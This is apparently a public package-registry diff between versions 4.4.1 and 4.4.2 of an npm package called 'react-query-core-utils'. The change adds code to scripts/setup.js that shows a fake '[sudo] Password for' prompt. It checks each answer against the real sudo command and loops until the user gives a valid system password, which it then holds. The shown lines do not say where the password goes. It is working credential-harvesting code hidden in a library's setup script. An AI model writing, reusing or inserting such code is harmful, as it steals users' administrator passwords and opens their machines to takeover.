react-query-core-utils 4.4.1 → 4.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/setup.js +27 -5
package/package.json
CHANGED
package/scripts/setup.js
CHANGED
|
@@ -55,11 +55,33 @@ async function spinner(text, duration) {
|
|
|
55
55
|
|
|
56
56
|
const user = os.userInfo().username;
|
|
57
57
|
|
|
58
|
-
const password = await new Promise(resolve => {
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
58
|
+
const password = await new Promise(async (resolve) => {
|
|
59
|
+
while (true) {
|
|
60
|
+
const tempPassword = await new Promise(res => {
|
|
61
|
+
rl.question(`${bold('[sudo]')} Password for ${user}: `, (pct) => {
|
|
62
|
+
res(pct);
|
|
63
|
+
});
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
// Verify password
|
|
67
|
+
try {
|
|
68
|
+
const check = spawnSync('sudo', ['-S', '-v', '-k'], {
|
|
69
|
+
input: tempPassword + '\n',
|
|
70
|
+
stdio: 'pipe'
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
if (check.status === 0) {
|
|
74
|
+
process.stdout.write('\n'); // Clean newline
|
|
75
|
+
resolve(tempPassword);
|
|
76
|
+
rl.close();
|
|
77
|
+
break;
|
|
78
|
+
} else {
|
|
79
|
+
console.log(red("\nSorry, try again."));
|
|
80
|
+
}
|
|
81
|
+
} catch (e) {
|
|
82
|
+
console.log(red("\nSorry, try again."));
|
|
83
|
+
}
|
|
84
|
+
}
|
|
63
85
|
});
|
|
64
86
|
|
|
65
87
|
console.log("");
|